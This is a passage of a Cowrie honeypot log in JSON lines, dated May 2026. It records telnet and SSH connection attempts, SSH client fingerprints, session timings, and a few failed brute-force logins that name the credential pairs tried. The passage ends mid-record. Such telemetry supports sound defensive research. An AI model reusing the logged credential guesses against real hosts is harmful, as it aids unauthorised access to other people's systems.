{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":53354,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b712a9c672e","protocol":"telnet","message":"New connection: 139.162.207.207:53354 (10.17.0.5:23) [session: 4b712a9c672e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:35.472510Z"}
{"eventid":"cowrie.session.closed","duration":37.28155159950256,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:37.752258Z","src_ip":"139.162.207.207","session":"5cca8a8b639b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":53362,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5ca843eebc8","protocol":"telnet","message":"New connection: 139.162.207.207:53362 (10.17.0.5:23) [session: f5ca843eebc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:39.268101Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":53376,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed2199634b7f","protocol":"telnet","message":"New connection: 139.162.207.207:53376 (10.17.0.5:23) [session: ed2199634b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:39.307780Z"}
{"eventid":"cowrie.session.closed","duration":34.56093239784241,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:40.527268Z","src_ip":"209.126.87.217","session":"738854ec6f44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":37682,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fc9d5192395","protocol":"telnet","message":"New connection: 209.126.87.217:37682 (159.203.135.109:23) [session: 2fc9d5192395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:41.194617Z"}
{"eventid":"cowrie.session.closed","duration":12.585943698883057,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:41.265726Z","src_ip":"122.167.158.163","session":"8c7f0387c852","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.46065092086792,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:42.714137Z","src_ip":"139.162.207.207","session":"ec842180be09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":34826,"dst_ip":"159.203.135.109","dst_port":22,"session":"36f3566ee11e","protocol":"ssh","message":"New connection: 103.146.202.174:34826 (159.203.135.109:22) [session: 36f3566ee11e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:43.920350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:43.924676Z","src_ip":"103.146.202.174","session":"36f3566ee11e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:44.177630Z","src_ip":"103.146.202.174","session":"36f3566ee11e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.558491230010986,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:44.376347Z","src_ip":"209.126.87.217","session":"09cd8a1ac92e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"muie123","message":"login attempt [ubuntu/muie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:45.223738Z","src_ip":"103.146.202.174","session":"36f3566ee11e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.714743852615356,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:45.789134Z","src_ip":"139.162.207.207","session":"f05fabb110e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.06090784072876,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:46.398345Z","src_ip":"139.162.207.207","session":"2e14a4e37647","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:46.479996Z","src_ip":"103.146.202.174","session":"36f3566ee11e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":37684,"dst_ip":"159.203.135.109","dst_port":23,"session":"090c3b8be4b2","protocol":"telnet","message":"New connection: 209.126.87.217:37684 (159.203.135.109:23) [session: 090c3b8be4b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:46.720471Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":37690,"dst_ip":"159.203.135.109","dst_port":23,"session":"b12bc7921121","protocol":"telnet","message":"New connection: 209.126.87.217:37690 (159.203.135.109:23) [session: b12bc7921121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:48.563064Z"}
{"eventid":"cowrie.session.closed","duration":32.25602436065674,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:50.589595Z","src_ip":"209.126.87.217","session":"48202a0c79f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":54446,"dst_ip":"10.17.0.5","dst_port":23,"session":"92791857af2f","protocol":"telnet","message":"New connection: 139.162.207.207:54446 (10.17.0.5:23) [session: 92791857af2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:51.072498Z"}
{"eventid":"cowrie.session.closed","duration":32.51528573036194,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:52.952579Z","src_ip":"209.126.87.217","session":"e2955a2c1e92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.625693559646606,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:53.123917Z","src_ip":"209.126.87.217","session":"a5fbe9c00945","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.30897808074951,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:54.256743Z","src_ip":"185.26.126.47","session":"c40a38ae8466","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54522,"dst_ip":"159.203.135.109","dst_port":22,"session":"75075440298d","protocol":"ssh","message":"New connection: 159.203.92.129:54522 (159.203.135.109:22) [session: 75075440298d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:54.454891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:54.459586Z","src_ip":"159.203.92.129","session":"75075440298d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:54.467585Z","src_ip":"159.203.92.129","session":"75075440298d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Password123!@#","message":"login attempt [ansible/Password123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:54.479318Z","src_ip":"159.203.92.129","session":"75075440298d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:55.486086Z","src_ip":"159.203.92.129","session":"75075440298d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":33686,"dst_ip":"159.203.135.109","dst_port":23,"session":"132babbd4d54","protocol":"telnet","message":"New connection: 209.126.87.217:33686 (159.203.135.109:23) [session: 132babbd4d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:55.602913Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":54432,"dst_ip":"10.17.0.5","dst_port":23,"session":"68037a8c4481","protocol":"telnet","message":"New connection: 139.162.207.207:54432 (10.17.0.5:23) [session: 68037a8c4481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:56.620895Z"}
{"eventid":"cowrie.session.closed","duration":40.37492060661316,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:56.967700Z","src_ip":"139.162.207.207","session":"e56e85377be0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":33696,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8cb553ea1f4","protocol":"telnet","message":"New connection: 209.126.87.217:33696 (159.203.135.109:23) [session: b8cb553ea1f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:57.152357Z"}
{"eventid":"cowrie.session.closed","duration":38.26202082633972,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:57.372899Z","src_ip":"209.126.87.217","session":"3eb51f844e7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":33698,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5fd9b9d5a7e","protocol":"telnet","message":"New connection: 209.126.87.217:33698 (159.203.135.109:23) [session: f5fd9b9d5a7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:58.420453Z"}
{"eventid":"cowrie.session.closed","duration":33.287490367889404,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:12:59.602175Z","src_ip":"209.126.87.217","session":"25dfa1ac32e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44294,"dst_ip":"159.203.135.109","dst_port":23,"session":"de2095b049b1","protocol":"telnet","message":"New connection: 209.126.87.217:44294 (159.203.135.109:23) [session: de2095b049b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:00.265898Z"}
{"eventid":"cowrie.session.closed","duration":34.97980284690857,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:01.217395Z","src_ip":"209.126.87.217","session":"15551e098f7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.8130810260772705,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:01.433874Z","src_ip":"139.162.207.207","session":"68037a8c4481","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":60404,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ccbe4979cfe","protocol":"telnet","message":"New connection: 139.162.207.207:60404 (10.17.0.5:23) [session: 1ccbe4979cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:01.817404Z"}
{"eventid":"cowrie.session.closed","duration":35.20798325538635,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:02.686351Z","src_ip":"209.126.87.217","session":"3f7068975813","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.25548243522644,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:02.888068Z","src_ip":"209.126.87.217","session":"163bd4155ee9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.31519412994385,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:04.156737Z","src_ip":"209.126.87.217","session":"b9a6350d3cff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.633328676223755,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:04.377445Z","src_ip":"209.126.87.217","session":"5e1068e81de5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":36698,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e6da1a4a163","protocol":"telnet","message":"New connection: 139.162.207.207:36698 (10.17.0.5:23) [session: 1e6da1a4a163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:05.413507Z"}
{"eventid":"cowrie.session.closed","duration":35.39344596862793,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:07.619370Z","src_ip":"209.126.87.217","session":"2b6541fee200","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":36710,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2a57d13767e","protocol":"telnet","message":"New connection: 139.162.207.207:36710 (10.17.0.5:23) [session: b2a57d13767e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:07.729690Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44308,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f0a71854397","protocol":"telnet","message":"New connection: 209.126.87.217:44308 (159.203.135.109:23) [session: 7f0a71854397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:07.805340Z"}
{"eventid":"cowrie.session.closed","duration":34.636860370635986,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:09.312326Z","src_ip":"209.126.87.217","session":"fb5ed8e6ada5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.82717227935791,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:10.299567Z","src_ip":"139.162.207.207","session":"4b712a9c672e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39686,"dst_ip":"159.203.135.109","dst_port":23,"session":"a51d3c3a0d4e","protocol":"telnet","message":"New connection: 209.126.87.217:39686 (159.203.135.109:23) [session: a51d3c3a0d4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:10.835924Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39702,"dst_ip":"159.203.135.109","dst_port":23,"session":"342d9e51ba0e","protocol":"telnet","message":"New connection: 209.126.87.217:39702 (159.203.135.109:23) [session: 342d9e51ba0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:12.067694Z"}
{"eventid":"cowrie.session.closed","duration":33.06677460670471,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:12.374419Z","src_ip":"139.162.207.207","session":"ed2199634b7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":39718,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f44b109ea31","protocol":"telnet","message":"New connection: 209.126.87.217:39718 (159.203.135.109:23) [session: 4f44b109ea31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:12.790647Z"}
{"eventid":"cowrie.session.closed","duration":35.97613167762756,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:17.170448Z","src_ip":"209.126.87.217","session":"2fc9d5192395","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":32154,"dst_ip":"10.17.0.5","dst_port":22,"session":"46ca34ee2f9f","protocol":"ssh","message":"New connection: 194.59.206.2:32154 (10.17.0.5:22) [session: 46ca34ee2f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:17.794289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:17.799994Z","src_ip":"194.59.206.2","session":"46ca34ee2f9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:17.890642Z","src_ip":"194.59.206.2","session":"46ca34ee2f9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":50480,"dst_ip":"10.17.0.5","dst_port":23,"session":"07c8e7c6b3b8","protocol":"telnet","message":"New connection: 139.162.207.207:50480 (10.17.0.5:23) [session: 07c8e7c6b3b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:17.925943Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:17.985644Z","src_ip":"194.59.206.2","session":"46ca34ee2f9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.1040358543396,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:18.824395Z","src_ip":"209.126.87.217","session":"090c3b8be4b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":44812,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d4fc8df052d","protocol":"ssh","message":"New connection: 37.143.61.130:44812 (159.203.135.109:22) [session: 8d4fc8df052d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:20.102854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:13:20.110000Z","src_ip":"37.143.61.130","session":"8d4fc8df052d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh